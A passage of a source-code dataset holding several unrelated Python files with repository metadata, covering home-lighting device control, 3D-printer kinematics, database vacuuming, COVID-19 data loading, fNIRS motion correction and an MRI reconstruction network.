\"\"\"Register a new device and group all the ones prior to CONFIGURED event together.\"\"\"\n # after initial configuration, every new device gets sent on its own. The initial ones are bunched together\n if not device.hidden:\n if self._configured:\n self._new_device_func([device])\n else: # send all the devices together when configured\n self._waiting_devices.append(device)\n\n def available(self, conf: str, area: int, item_num: Union[int, str]) -> bool:\n \"\"\"Return whether a device on the bridge is available.\"\"\"\n if not self.connected:\n return False\n if conf in [CONF_CHANNEL, CONF_PRESET]:\n return bool(self._area.get(area, {}).get(conf, {}).get(item_num, False))\n assert conf == CONF_TEMPLATE\n return self._area.get(area, {}).get(CONF_TEMPLATE, \"\") == item_num\n\n def update_device(self, device: Optional[DynaliteBaseDevice] = None) -> None:\n \"\"\"Update one or more devices.\"\"\"\n if device and device.hidden:\n return\n self._update_device_func(device)\n\n def send_notification(self, notification: DynaliteNotification) -> None:\n \"\"\"Update one or more devices.\"\"\"\n self._notification_func(notification)\n\n def handle_event(self, event: DynetEvent) -> None:\n \"\"\"Handle all events.\"\"\"\n LOGGER.debug(\"handle_event - type=%s event=%s\", event.event_type, event.data)\n if event.event_type == EVENT_CONNECTED:\n LOGGER.debug(\"Received CONNECTED message\")\n self.connected = True\n self.update_device()\n elif event.event_type == EVENT_DISCONNECTED:\n LOGGER.debug(\"Received DISCONNECTED message\")\n self.connected = False\n self.update_device()\n elif event.event_type == EVENT_PRESET:\n LOGGER.debug(\"Received PRESET message\")\n assert event.data\n self.handle_preset_selection(event)\n self.send_notification(\n DynaliteNotification(\n NOTIFICATION_PRESET,\n {\n CONF_AREA: event.data[CONF_AREA],\n CONF_PRESET: event.data[CONF_PRESET],\n },\n )\n )\n elif event.event_type == EVENT_CHANNEL:\n LOGGER.debug(\"Received CHANNEL message\")\n self.handle_channel_change(event)\n else:\n assert event.event_type == EVENT_PACKET\n assert event.data\n LOGGER.debug(\"Received PACKET message\")\n self.send_notification(\n DynaliteNotification(\n NOTIFICATION_PACKET, {NOTIFICATION_PACKET: event.data[EVENT_PACKET]}\n )\n )\n\n def ensure_area(self, area: int) -> None:\n \"\"\"Configure a default area if it is not yet in config.\"\"\"\n if area not in self._area:\n LOGGER.debug(\"adding area %s that is not in config\", area)\n # consider adding default presets to new areas (XXX)\n self._area[area] = DynaliteConfig.configure_area(\n area, {}, self._default_fade, self._default_query_channel, {}, {}\n )\n\n def create_preset_if_new(self, area: int, preset: int) -> None:\n \"\"\"Register a new preset.\"\"\"\n LOGGER.debug(\"create_preset_if_new - area=%s preset=%s\", area, preset)\n # if already configured, ignore\n if self._added_presets.get(area, {}).get(preset, False):\n return\n self.ensure_area(area)\n area_config = self._area[area]\n if preset not in area_config[CONF_PRESET]:\n area_config[CONF_PRESET][preset] = DynaliteConfig.configure_preset(\n preset,\n self._default_presets.get(preset, {}),\n area_config[CONF_FADE],\n CONF_TEMPLATE in area_config or not self._auto_discover,\n )\n # if the area is a template is a template, new presets should be hidden\n if area_config.get(CONF_TEMPLATE, False):\n area_config[CONF_PRESET][preset][CONF_HIDDEN_ENTITY] = True\n hidden = area_config[CONF_PRESET][preset].get(CONF_HIDDEN_ENTITY, False)\n new_device = DynalitePresetSwitchDevice(area, preset, self, hidden)\n new_device.set_level(0)\n self.register_new_device(new_device)\n if area not in self._added_presets:\n self._added_presets[area] = {}\n self._added_presets[area][preset] = new_device\n LOGGER.debug(\n \"Creating Dynalite preset area=%s preset=%s hidden=%s\", area, preset, hidden\n )\n\n def handle_preset_selection(self, event: DynetEvent) -> None:\n \"\"\"Change the selected preset.\"\"\"\n assert event.data\n LOGGER.debug(\"handle_preset_selection - event=%s\", event.data)\n area = event.data[CONF_AREA]\n preset = event.data[CONF_PRESET]\n self.create_preset_if_new(area, preset)\n # Update all the preset devices\n for cur_preset_in_area in self._added_presets[area]:\n device = self._added_presets[area][cur_preset_in_area]\n if cur_preset_in_area == preset:\n device.set_level(1)\n else:\n device.set_level(0)\n self.update_device(device)\n # If active is set to full, query all channels in the area\n if self._active == ACTIVE_ON:\n for channel in self._area[area].get(CONF_CHANNEL, {}):\n self.request_channel_level(area, channel)\n\n def create_channel_if_new(self, area: int, channel: int) -> None:\n \"\"\"Register a new channel.\"\"\"\n LOGGER.debug(\"create_channel_if_new - area=%s, channel=%s\", area, channel)\n # if already configured, ignore\n if self._added_channels.get(area, {}).get(channel, False):\n return\n self.ensure_area(area)\n area_config = self._area[area]\n if channel not in area_config[CONF_CHANNEL]:\n area_config[CONF_CHANNEL][channel] = DynaliteConfig.configure_channel(\n channel,\n {},\n area_config[CONF_FADE],\n CONF_TEMPLATE in area_config or not self._auto_discover,\n )\n channel_config = area_config[CONF_CHANNEL][channel]\n LOGGER.debug(\"create_channel_if_new - channel_config=%s\", channel_config)\n channel_type = channel_config.get(\n CONF_CHANNEL_TYPE, DEFAULT_CHANNEL_TYPE\n ).lower()\n hidden = channel_config.get(CONF_HIDDEN_ENTITY, False)\n if channel_type == \"light\":\n new_device: DynaliteBaseDevice = DynaliteChannelLightDevice(\n area, channel, self, hidden\n )\n self.register_new_device(new_device)\n elif channel_type == \"switch\":\n new_device = DynaliteChannelSwitchDevice(area, channel, self, hidden)\n self.register_new_device(new_device)\n else:\n LOGGER.info(\"unknown chnanel type %s - ignoring\", channel_type)\n return\n if area not in self._added_channels:\n self._added_channels[area] = {}\n self._added_channels[area][channel] = new_device\n LOGGER.debug(\"Creating Dynalite channel area=%s channel=%s\", area, channel)\n\n def handle_channel_change(self, event: DynetEvent) -> None:\n \"\"\"Change the level of a channel.\"\"\"\n assert event.data\n LOGGER.debug(\"handle_channel_change - data=%s\", event.data)\n area = event.data[CONF_AREA]\n channel = event.data.get(CONF_CHANNEL, None)\n if channel:\n self.create_channel_if_new(area, channel)\n action = event.data[CONF_ACTION]\n if action == CONF_ACTION_REPORT:\n actual_level = (255 - event.data[CONF_ACT_LEVEL]) / 254\n target_level = (255 - event.data[CONF_TRGT_LEVEL]) / 254\n channel_to_set = self._added_channels[area][channel]\n channel_to_set.update_level(actual_level, target_level)\n self.update_device(channel_to_set)\n elif action == CONF_ACTION_CMD:\n target_level = (255 - event.data[CONF_TRGT_LEVEL]) / 254\n # when there is only a \"set channel level\" command, assume that this is both the actual and the target\n channel_to_set = self._added_channels[area][channel]\n channel_to_set.update_level(target_level, target_level)\n self.update_device(channel_to_set)\n elif action == CONF_ACTION_STOP:\n if channel:\n channel_to_set = self._added_channels[area][channel]\n channel_to_set.stop_fade()\n self.update_device(channel_to_set)\n else:\n for channel in self._added_channels.get(area, {}):\n channel_to_set = self._added_channels[area][channel]\n channel_to_set.stop_fade()\n self.update_device(channel_to_set)\n else:\n assert action == CONF_ACTION_PRESET\n assert channel # XXX - not handling for all channels\n area_config = self._area[area]\n area_preset = area_config.get(CONF_PRESET, {})\n preset_num = event.data[CONF_PRESET]\n target_level = area_preset.get(preset_num, {}).get(CONF_LEVEL, -1)\n if target_level != -1:\n channel_to_set = self._added_channels[area][channel]\n channel_to_set.update_level(target_level, target_level)\n self.update_device(channel_to_set)\n\n def add_timer_listener(self, callback_func: Callable[[], None]) -> None:\n \"\"\"Add a listener to the timer and start if needed.\"\"\"\n self._timer_callbacks.add(callback_func)\n if not self._timer_active:\n assert self._loop\n self._loop.call_later(self._poll_timer, self.timer_func)\n self._timer_active = True\n\n def remove_timer_listener(self, callback_func: Callable[[], None]) -> None:\n \"\"\"Remove a listener from a timer.\"\"\"\n self._timer_callbacks.discard(callback_func)\n\n def timer_func(self) -> None:\n \"\"\"Call callbacks and either schedule timer or stop.\"\"\"\n if self._timer_callbacks and not self._resetting:\n assert self._loop\n cur_callbacks = self._timer_callbacks.copy()\n for callback in cur_callbacks:\n callback()\n self._loop.call_later(self._poll_timer, self.timer_func)\n else:\n self._timer_active = False\n\n def set_channel_level(\n self, area: int, channel: int, level: float, fade: float\n ) -> None:\n \"\"\"Set the level for a channel.\"\"\"\n fade = self._area[area][CONF_CHANNEL][channel][CONF_FADE]\n self._dynalite.set_channel_level(area, channel, level, fade)\n\n def select_preset(self, area: int, preset: int, fade: float) -> None:\n \"\"\"Select a preset in an area.\"\"\"\n self._dynalite.select_preset(area, preset, fade)\n\n def request_area_preset(self, area: int, query_channel: Optional[int]) -> None:\n \"\"\"Send a request to an area to report the preset.\"\"\"\n if query_channel is None:\n if area in self._area:\n query_channel = self._area[area][CONF_QUERY_CHANNEL]\n else:\n query_channel = self._default_query_channel\n self._dynalite.request_area_preset(area, query_channel)\n\n def request_channel_level(self, area: int, channel: int) -> None:\n \"\"\"Send a request to an area to report the preset.\"\"\"\n self._dynalite.request_channel_level(area, channel)\n\n def get_area_name(self, area: int) -> str:\n \"\"\"Return the name of an area.\"\"\"\n return self._area[area][CONF_NAME]\n\n def get_channel_name(self, area: int, channel: int) -> str:\n \"\"\"Return the name of a channel.\"\"\"\n cur_area = self._area.get(area, {})\n default_area_name = f\"Area {area}\"\n default_channel_name = f\"Channel {channel}\"\n return f\"{cur_area.get(CONF_NAME, default_area_name)} {cur_area.get(CONF_CHANNEL, {}).get(channel, {}).get(CONF_NAME, default_channel_name)}\"\n\n def get_channel_fade(self, area: int, channel: int) -> float:\n \"\"\"Return the fade of a channel.\"\"\"\n try:\n return self._area[area][CONF_CHANNEL][channel][CONF_FADE]\n except KeyError:\n return self._default_fade\n\n def get_preset_name(self, area: int, preset: int) -> str:\n \"\"\"Return the name of a preset.\"\"\"\n cur_area = self._area.get(area, {})\n area_name = cur_area.get(CONF_NAME, f\"Area {area}\")\n preset_name = (\n cur_area.get(CONF_PRESET, {})\n .get(preset, {})\n .get(CONF_NAME, f\"Preset {preset}\")\n )\n if area_name == preset_name:\n return preset_name\n return f\"{area_name} {preset_name}\"\n\n def get_preset_fade(self, area: int, preset: int) -> float:\n \"\"\"Return the fade of a preset.\"\"\"\n try:\n return self._area[area][CONF_PRESET][preset][CONF_FADE]\n except KeyError:\n return self._default_fade\n\n def get_multi_name(self, area: int) -> str:\n \"\"\"Return the name of a multi-device.\"\"\"\n return self._area[area][CONF_NAME]\n\n def get_device_class(self, area: int) -> str:\n \"\"\"Return the class for a blind.\"\"\"\n try:\n return self._area[area][CONF_DEVICE_CLASS]\n except KeyError:\n return DEFAULT_COVER_CLASS\n\n def get_cover_duration(self, area: int) -> float:\n \"\"\"Return the class for a blind.\"\"\"\n try:\n return self._area[area][CONF_DURATION]\n except KeyError:\n return 60\n\n def get_cover_tilt_duration(self, area: int) -> float:\n \"\"\"Return the class for a blind.\"\"\"\n try:\n return self._area[area][CONF_TILT_TIME]\n except KeyError:\n return 0\n\n def get_master_area(self, area: int) -> str:\n \"\"\"Get the master area when combining entities from different Dynet areas to the same area.\"\"\"\n assert area in self._area\n area_config = self._area[area]\n master_area = area_config[CONF_NAME]\n if CONF_AREA_OVERRIDE in area_config:\n override_area = area_config[CONF_AREA_OVERRIDE]\n master_area = override_area if override_area.lower() != CONF_NONE else \"\"\n return master_area\n\n async def async_reset(self) -> None:\n \"\"\"Reset the connections and timers.\"\"\"\n self._resetting = True\n await self._dynalite.async_reset()\n while self._timer_active:\n await asyncio.sleep(0.1)\n","repo_name":"ziv1234/python-dynalite-devices","sub_path":"dynalite_devices_lib/dynalite_devices.py","file_name":"dynalite_devices.py","file_ext":"py","file_size_in_byte":22975,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"10255986348","text":"import math\nimport stepper, homing, chelper\n\nclass CoreXYKinematics:\n name = \"coreXY\"\n def __init__(self, toolhead, config, coresign=1.):\n self.toolhead = toolhead\n self.logger = config.get_printer().logger.getChild(self.name)\n self.rails = [ stepper.PrinterRail(config.getsection('stepper_x')),\n stepper.PrinterRail(config.getsection('stepper_y')),\n stepper.LookupMultiRail(config.getsection('stepper_z')) ]\n self.combined_endstops = config.getboolean('combined_endstops', False)\n if self.combined_endstops:\n # endstops are always triggered both\n # => no cross connection necessary\n pass\n else:\n # x/y axes also need to stop on each others endstops\n # => cross connect endstop and stepper x->y and y->x\n self.rails[0].add_to_endstop(self.rails[1].get_endstops()[0][0])\n self.rails[1].add_to_endstop(self.rails[0].get_endstops()[0][0])\n max_velocity, max_accel = toolhead.get_max_velocity()\n self.max_z_velocity = config.getfloat(\n 'max_z_velocity', max_velocity, above=0., maxval=max_velocity)\n self.max_z_accel = config.getfloat(\n 'max_z_accel', max_accel, above=0., maxval=max_accel)\n self.need_motor_enable = True\n if toolhead.allow_move_wo_homing is False:\n self.limits = [(1.0, -1.0)] * 3\n else:\n # Just set min and max values for SW limit\n self.limits = [ rail.get_range() for rail in self.rails ]\n # Setup iterative solver\n ffi_main, ffi_lib = chelper.get_ffi()\n self.cmove = ffi_main.gc(ffi_lib.move_alloc(), ffi_lib.free)\n self.move_fill = ffi_lib.move_fill\n self.rails[0].setup_itersolve(ffi_main.gc(\n ffi_lib.corexy_stepper_alloc('+'), ffi_lib.free))\n self.rails[1].setup_itersolve(ffi_main.gc(\n ffi_lib.corexy_stepper_alloc('-'), ffi_lib.free))\n self.rails[2].setup_cartesian_itersolve('z')\n # Setup stepper max halt velocity\n max_halt_velocity = toolhead.get_max_axis_halt()\n max_xy_halt_velocity = max_halt_velocity * math.sqrt(2.)\n self.rails[0].set_max_jerk(max_xy_halt_velocity, max_accel, max_velocity)\n self.rails[1].set_max_jerk(max_xy_halt_velocity, max_accel, max_velocity)\n self.rails[2].set_max_jerk(\n min(max_halt_velocity, self.max_z_velocity), self.max_z_accel, self.max_z_velocity)\n self.coresign = coresign\n self.experimental = config.getboolean(\n 'experimental', False)\n def get_rails(self, flags=\"\"):\n if flags == \"Z\":\n return [self.rails[2]]\n return list(self.rails)\n def calc_position(self):\n pos = [rail.get_commanded_position() for rail in self.rails]\n return [0.5 * (pos[0] + pos[1]), 0.5 * (pos[0] - pos[1]), pos[2]]\n def set_position(self, newpos, homing_axes):\n for i, rail in enumerate(self.rails):\n rail.set_position(newpos)\n if i in homing_axes:\n self.limits[i] = rail.get_range()\n def home(self, homing_state):\n # Each axis is homed independently and in order\n for axis in homing_state.get_axes():\n rail = self.rails[axis]\n # Determine moves\n position_min, position_max = rail.get_range()\n hi = rail.get_homing_info()\n if hi.positive_dir:\n pos = hi.position_endstop - 1.5*(\n hi.position_endstop - position_min)\n rpos = hi.position_endstop - hi.retract_dist\n r2pos = rpos - hi.retract_dist\n else:\n pos = hi.position_endstop + 1.5*(\n position_max - hi.position_endstop)\n rpos = hi.position_endstop + hi.retract_dist\n r2pos = rpos + hi.retract_dist\n # Initial homing\n homing_speed = hi.speed\n if axis == 2:\n homing_speed = min(homing_speed, self.max_z_velocity)\n homepos = [None, None, None, None]\n # Set Z homing position if defined\n homing_state.retract(hi.homing_pos, hi.travel_speed)\n homepos[axis] = hi.position_endstop\n coord = [None, None, None, None]\n coord[axis] = pos\n if axis < 2 and self.combined_endstops:\n endstops = ( self.rails[0].get_endstops()\n + self.rails[1].get_endstops() )\n else:\n endstops = rail.get_endstops()\n homing_state.home(coord, homepos, endstops, homing_speed,\n init_sensor=hi.init_home_funcs)\n # Retract\n coord[axis] = rpos\n homing_state.retract(coord, homing_speed)\n # Home again\n coord[axis] = r2pos\n homing_state.home(coord, homepos, endstops,\n hi.speed_slow, second_home=True,\n init_sensor=hi.init_home_funcs)\n if axis == 2:\n # Support endstop phase detection on Z axis\n coord[axis] = hi.position_endstop + rail.get_homed_offset()\n homing_state.set_homed_position(coord)\n if 0. < hi.retract_after_home:\n movepos = [None, None, None, None]\n # Retract\n if hi.positive_dir:\n movepos[axis] = hi.position_endstop - hi.retract_after_home\n else:\n movepos[axis] = hi.position_endstop + hi.retract_after_home\n homing_state.retract(movepos, homing_speed)\n def motor_off(self, print_time):\n if self.toolhead.require_home_after_motor_off is True \\\n and self.toolhead.sw_limit_check_enabled is True:\n self.limits = [(1.0, -1.0)] * 3\n for rail in self.rails:\n rail.motor_enable(print_time, 0)\n self.need_motor_enable = True\n def _check_motor_enable(self, print_time, move):\n if move.axes_d[0] or move.axes_d[1]:\n self.rails[0].motor_enable(print_time, 1)\n self.rails[1].motor_enable(print_time, 1)\n if move.axes_d[2]:\n self.rails[2].motor_enable(print_time, 1)\n need_motor_enable = False\n for rail in self.rails:\n need_motor_enable |= not rail.is_motor_enabled()\n self.need_motor_enable = need_motor_enable\n self.toolhead.motor_on(print_time)\n def _check_endstops(self, move):\n end_pos = move.end_pos\n for i in (0, 1, 2):\n if (move.axes_d[i]\n and (end_pos[i] < self.limits[i][0]\n or end_pos[i] > self.limits[i][1])):\n if self.limits[i][0] > self.limits[i][1]:\n raise homing.EndstopMoveError(\n end_pos, \"Must home axis first\")\n raise homing.EndstopMoveError(end_pos)\n def check_move(self, move):\n xpos, ypos = move.end_pos[:2]\n if self.toolhead.sw_limit_check_enabled is True:\n limits = self.limits\n if (xpos < limits[0][0] or xpos > limits[0][1]\n or ypos < limits[1][0] or ypos > limits[1][1]):\n self._check_endstops(move)\n if not move.axes_d[2]:\n # Normal XY move - use defaults\n return\n # Move with Z - update velocity and accel for slower Z axis\n if self.toolhead.sw_limit_check_enabled is True:\n self._check_endstops(move)\n z_ratio = move.move_d / abs(move.axes_d[2])\n move.limit_speed(\n self.max_z_velocity * z_ratio, self.max_z_accel * z_ratio)\n def move(self, print_time, move):\n if self.need_motor_enable:\n self._check_motor_enable(print_time, move)\n\n axes_d = move.axes_d\n cmove = self.cmove\n self.move_fill(\n cmove, print_time,\n move.accel_t, move.cruise_t, move.decel_t,\n move.start_pos[0], move.start_pos[1], move.start_pos[2],\n axes_d[0], axes_d[1], axes_d[2],\n move.start_v, move.cruise_v, move.accel)\n rail_x, rail_y, rail_z = self.rails\n if axes_d[0] or axes_d[1]:\n rail_x.step_itersolve(cmove)\n rail_y.step_itersolve(cmove)\n if axes_d[2]:\n rail_z.step_itersolve(cmove)\n '''\n sxp = move.start_pos[0]\n syp = move.start_pos[1]\n if self.experimental:\n move_start_pos = ((sxp + syp), (sxp - syp), move.start_pos[2])\n exp = (sxp - move.end_pos[0])\n eyp = (syp - move.end_pos[1]) * self.coresign\n axes_d = ((exp + eyp),\n (exp - eyp),\n move.start_pos[2])\n core_flag = (self.coresign == -1) # TODO FIXME\n else:\n move_start_pos = (sxp + syp, sxp - syp, move.start_pos[2])\n exp = move.end_pos[0]\n eyp = move.end_pos[1]\n axes_d = ((exp + eyp) - move_start_pos[0],\n (exp - eyp) - move_start_pos[1], move.axes_d[2])\n core_flag = False\n '''\n def is_homed(self):\n ret = [1, 1, 1]\n if self.toolhead.sw_limit_check_enabled is True:\n for i in (0, 1, 2):\n if self.limits[i][0] > self.limits[i][1]:\n ret[i] = 0\n return ret\n def update_velocities(self):\n max_halt_velocity = self.toolhead.get_max_axis_halt()\n max_velocity, max_accel = self.toolhead.get_max_velocity()\n self.rails[0].set_max_jerk(max_halt_velocity, max_accel, max_velocity)\n self.rails[1].set_max_jerk(max_halt_velocity, max_accel, max_velocity)\n\nclass CoreYXKinematics(CoreXYKinematics):\n name = \"coreYX\"\n def __init__(self, toolhead, config):\n CoreXYKinematics.__init__(self, toolhead, config, coresign=-1.)\n","repo_name":"tuwwe/klipper","sub_path":"klippy/corexy.py","file_name":"corexy.py","file_ext":"py","file_size_in_byte":9902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"39719811831","text":"from .core import CoreProcess\nfrom logger import createLog\n\nlogger = createLog(__name__)\n\n\nclass DatabaseMaintenanceProcess(CoreProcess):\n VACUUMING_TABLES = [\n 'records', 'items', 'editions', 'works', 'links', 'rights',\n 'identifiers'\n ]\n\n def __init__(self, *args):\n super(DatabaseMaintenanceProcess, self).__init__(*args[:4])\n\n # PostgreSQL Connection\n self.generateEngine()\n self.createSession()\n\n def runProcess(self):\n self.vacuumTables()\n\n self.closeConnection()\n\n def vacuumTables(self):\n logger.info('Starting Vacuum of in-use tables')\n with self.engine.connect() as conn:\n with conn.execution_options(isolation_level='AUTOCOMMIT'):\n for table in self.VACUUMING_TABLES:\n self.vacuumTable(conn, table)\n\n @staticmethod\n def vacuumTable(conn, table):\n logger.info(f'Vacuuming {table}')\n vacuumStr = f'VACUUM ANALYZE {table};'\n conn.execute(vacuumStr)\n","repo_name":"NYPL/drb-etl-pipeline","sub_path":"processes/dbMaintenance.py","file_name":"dbMaintenance.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"70115780268","text":"import pandas as pd\nimport torch as th\nimport yaml\nfrom pathlib import Path\nimport json\nimport os\n\n\ndef load_confirmed_csv(path):\n df = pd.read_csv(path)\n df.set_index(\"region\", inplace=True)\n basedate = df.columns[-1]\n nodes = df.index.to_numpy()\n cases = df.to_numpy()\n return th.from_numpy(cases), nodes, basedate\n\n\ndef load_confirmed(path, regions):\n \"\"\"Returns dataframe of total confirmed cases\"\"\"\n df = load_confirmed_by_region(path, regions=regions)\n return df.sum(axis=1)\n\n\ndef load_confirmed_by_region(path, regions=None, filter_unknown=True):\n \"\"\"Loads csv file for confirmed cases by region\"\"\"\n df = pd.read_csv(path, index_col=0, header=None)\n # transpose so dates are along rows to match h5\n df = df.T\n # set date as index\n df = df.rename(columns={\"region\": \"date\"})\n df = df.set_index(\"date\")\n df.index = pd.to_datetime(df.index)\n df = df.astype(float)\n if regions is not None:\n df = df[regions]\n if filter_unknown:\n df = df.loc[:, df.columns != \"Unknown\"]\n return df\n\n\ndef load_backfill(\n jobdir, model=None, indicator=\"model_selection.json\", forecast=\"best_mae\",\n):\n \"\"\"collect all forcasts from job dir\"\"\"\n forecasts = {}\n configs = []\n for path in Path(jobdir).rglob(indicator):\n date = str(path).split(\"/\")[-2]\n assert date.startswith(\"sweep_\"), str(path)\n jobs = [m[\"pth\"] for m in json.load(open(path)) if m[\"name\"] == forecast]\n assert len(jobs) == 1, jobs\n job = jobs[0]\n date = date[6:]\n forecasts[date] = os.path.join(job, \"final_model_validation.csv\")\n cfg = yaml.safe_load(open(os.path.join(job, \"../cfg.yml\")))\n cfg = yaml.safe_load(\n open(os.path.join(job, f\"{model or cfg['this_module']}.yml\"))\n )\n cfg = cfg[\"train\"]\n cfg[\"date\"] = date\n cfg[\"job\"] = job\n configs.append(cfg)\n configs = pd.DataFrame(configs)\n configs.set_index(\"date\", inplace=True)\n return forecasts, configs\n","repo_name":"facebookresearch/covid19_spread","sub_path":"covid19_spread/load.py","file_name":"load.py","file_ext":"py","file_size_in_byte":2019,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"37"} +{"seq_id":"10002843985","text":"import numpy as np\nfrom scipy.signal import butter, filtfilt\n\n\ndef TDDR(signal, sample_rate):\n # This function is the reference implementation for the TDDR algorithm for\n # motion correction of fNIRS data, as described in:\n #\n # Fishburn F.A., Ludlum R.S., Vaidya C.J., & Medvedev A.V. (2019).\n # Temporal Derivative Distribution Repair (TDDR): A motion correction\n # method for fNIRS. NeuroImage, 184, 171-179.\n # https://doi.org/10.1016/j.neuroimage.2018.09.025\n #\n # Usage:\n # signals_corrected = TDDR( signals , sample_rate );\n #\n # Inputs:\n # signals: A [sample x channel] matrix of uncorrected optical density data\n # sample_rate: A scalar reflecting the rate of acquisition in Hz\n #\n # Outputs:\n # signals_corrected: A [sample x channel] matrix of corrected optical density data\n signal = np.array(signal)\n if len(signal.shape) != 1:\n for ch in range(signal.shape[1]):\n signal[:, ch] = TDDR(signal[:, ch], sample_rate)\n return signal\n\n # Preprocess: Separate high and low frequencies\n filter_cutoff = .5\n filter_order = 3\n Fc = filter_cutoff * 2/sample_rate\n signal_mean = np.mean(signal)\n signal -= signal_mean\n if Fc < 1:\n fb, fa = butter(filter_order, Fc)\n signal_low = filtfilt(fb, fa, signal, padlen=0)\n else:\n signal_low = signal\n\n signal_high = signal - signal_low\n\n # Initialize\n tune = 4.685\n D = np.sqrt(np.finfo(signal.dtype).eps)\n mu = np.inf\n iter = 0\n\n # Step 1. Compute temporal derivative of the signal\n deriv = np.diff(signal_low)\n\n # Step 2. Initialize observation weights\n w = np.ones(deriv.shape)\n\n # Step 3. Iterative estimation of robust weights\n while iter < 50:\n\n iter = iter + 1\n mu0 = mu\n\n # Step 3a. Estimate weighted mean\n mu = np.sum(w * deriv) / np.sum(w)\n\n # Step 3b. Calculate absolute residuals of estimate\n dev = np.abs(deriv - mu)\n\n # Step 3c. Robust estimate of standard deviation of the residuals\n sigma = 1.4826 * np.median(dev)\n\n # Step 3d. Scale deviations by standard deviation and tuning parameter\n r = dev / (sigma * tune)\n\n # Step 3e. Calculate new weights according to Tukey's biweight function\n w = ((1 - r**2) * (r < 1)) ** 2\n\n # Step 3f. Terminate if new estimate is within machine-precision of old estimate\n if abs(mu - mu0) < D * max(abs(mu), abs(mu0)):\n break\n\n # Step 4. Apply robust weights to centered derivative\n new_deriv = w * (deriv - mu)\n\n # Step 5. Integrate corrected derivative\n signal_low_corrected = np.cumsum(np.insert(new_deriv, 0, 0.0))\n\n # Postprocess: Center the corrected signal\n signal_low_corrected = signal_low_corrected - np.mean(signal_low_corrected)\n\n # Postprocess: Merge back with uncorrected high frequency component\n signal_corrected = signal_low_corrected + signal_high + signal_mean\n\n return signal_corrected\n","repo_name":"frankfishburn/TDDR","sub_path":"TDDR.py","file_name":"TDDR.py","file_ext":"py","file_size_in_byte":3015,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"37"} +{"seq_id":"10080498749","text":"from typing import Callable\n\nimport torch\nimport torch.nn as nn\n\nfrom direct.data.transforms import expand_operator, reduce_operator\nfrom direct.nn.unet import UnetModel2d\n\n\nclass EndToEndVarNet(nn.Module):\n \"\"\"End-to-End Variational Network based on [1]_.\n\n References\n ----------\n\n .. [1] Sriram, Anuroop, et al. “End-to-End Variational Networks for Accelerated MRI Reconstruction.”\n ArXiv:2004.06688 [Cs, Eess], Apr. 2020. arXiv.org, http://arxiv.org/abs/2004.06688.\n \"\"\"\n\n def __init__(\n self,\n forward_operator: Callable,\n backward_operator: Callable,\n num_layers: int,\n regularizer_num_filters: int = 18,\n regularizer_num_pull_layers: int = 4,\n regularizer_dropout: float = 0.0,\n in_channels: int = 2,\n **kwargs,\n ):\n \"\"\"Inits :class:`EndToEndVarNet`.\n\n Parameters\n ----------\n forward_operator: Callable\n Forward Operator.\n backward_operator: Callable\n Backward Operator.\n num_layers: int\n Number of cascades.\n regularizer_num_filters: int\n Regularizer model number of filters.\n regularizer_num_pull_layers: int\n Regularizer model number of pulling layers.\n regularizer_dropout: float\n Regularizer model dropout probability.\n \"\"\"\n super().__init__()\n extra_keys = kwargs.keys()\n for extra_key in extra_keys:\n if extra_key not in [\n \"model_name\",\n ]:\n raise ValueError(f\"{type(self).__name__} got key `{extra_key}` which is not supported.\")\n\n self.layers_list = nn.ModuleList()\n\n for _ in range(num_layers):\n self.layers_list.append(\n EndToEndVarNetBlock(\n forward_operator=forward_operator,\n backward_operator=backward_operator,\n regularizer_model=UnetModel2d(\n in_channels=in_channels,\n out_channels=in_channels,\n num_filters=regularizer_num_filters,\n num_pool_layers=regularizer_num_pull_layers,\n dropout_probability=regularizer_dropout,\n ),\n )\n )\n\n def forward(\n self, masked_kspace: torch.Tensor, sampling_mask: torch.Tensor, sensitivity_map: torch.Tensor\n ) -> torch.Tensor:\n \"\"\"Performs the forward pass of :class:`EndToEndVarNet`.\n\n Parameters\n ----------\n masked_kspace: torch.Tensor\n Masked k-space of shape (N, coil, height, width, complex=2).\n sampling_mask: torch.Tensor\n Sampling mask of shape (N, 1, height, width, 1).\n sensitivity_map: torch.Tensor\n Sensitivity map of shape (N, coil, height, width, complex=2).\n\n Returns\n -------\n kspace_prediction: torch.Tensor\n K-space prediction of shape (N, coil, height, width, complex=2).\n \"\"\"\n\n kspace_prediction = masked_kspace.clone()\n for layer in self.layers_list:\n kspace_prediction = layer(kspace_prediction, masked_kspace, sampling_mask, sensitivity_map)\n return kspace_prediction\n\n\nclass EndToEndVarNetBlock(nn.Module):\n \"\"\"End-to-End Variational Network block.\"\"\"\n\n def __init__(\n self,\n forward_operator: Callable,\n backward_operator: Callable,\n regularizer_model: nn.Module,\n ):\n \"\"\"Inits :class:`EndToEndVarNetBlock`.\n\n Parameters\n ----------\n forward_operator: Callable\n Forward Operator.\n backward_operator: Callable\n Backward Operator.\n regularizer_model: nn.Module\n Regularizer model.\n \"\"\"\n super().__init__()\n self.regularizer_model = regularizer_model\n self.forward_operator = forward_operator\n self.backward_operator = backward_operator\n self.learning_rate = nn.Parameter(torch.tensor([1.0]))\n self._coil_dim = 1\n self._complex_dim = -1\n self._spatial_dims = (2, 3)\n\n def forward(\n self,\n current_kspace: torch.Tensor,\n masked_kspace: torch.Tensor,\n sampling_mask: torch.Tensor,\n sensitivity_map: torch.Tensor,\n ) -> torch.Tensor:\n \"\"\"Performs the forward pass of :class:`EndToEndVarNetBlock`.\n\n Parameters\n ----------\n current_kspace: torch.Tensor\n Current k-space prediction of shape (N, coil, height, width, complex=2).\n masked_kspace: torch.Tensor\n Masked k-space of shape (N, coil, height, width, complex=2).\n sampling_mask: torch.Tensor\n Sampling mask of shape (N, 1, height, width, 1).\n sensitivity_map: torch.Tensor\n Sensitivity map of shape (N, coil, height, width, complex=2).\n\n Returns\n -------\n torch.Tensor\n Next k-space prediction of shape (N, coil, height, width, complex=2).\n \"\"\"\n kspace_error = torch.where(\n sampling_mask == 0,\n torch.tensor([0.0], dtype=masked_kspace.dtype).to(masked_kspace.device),\n current_kspace - masked_kspace,\n )\n regularization_term = torch.cat(\n [\n reduce_operator(\n self.backward_operator(kspace, dim=self._spatial_dims), sensitivity_map, dim=self._coil_dim\n )\n for kspace in torch.split(current_kspace, 2, self._complex_dim)\n 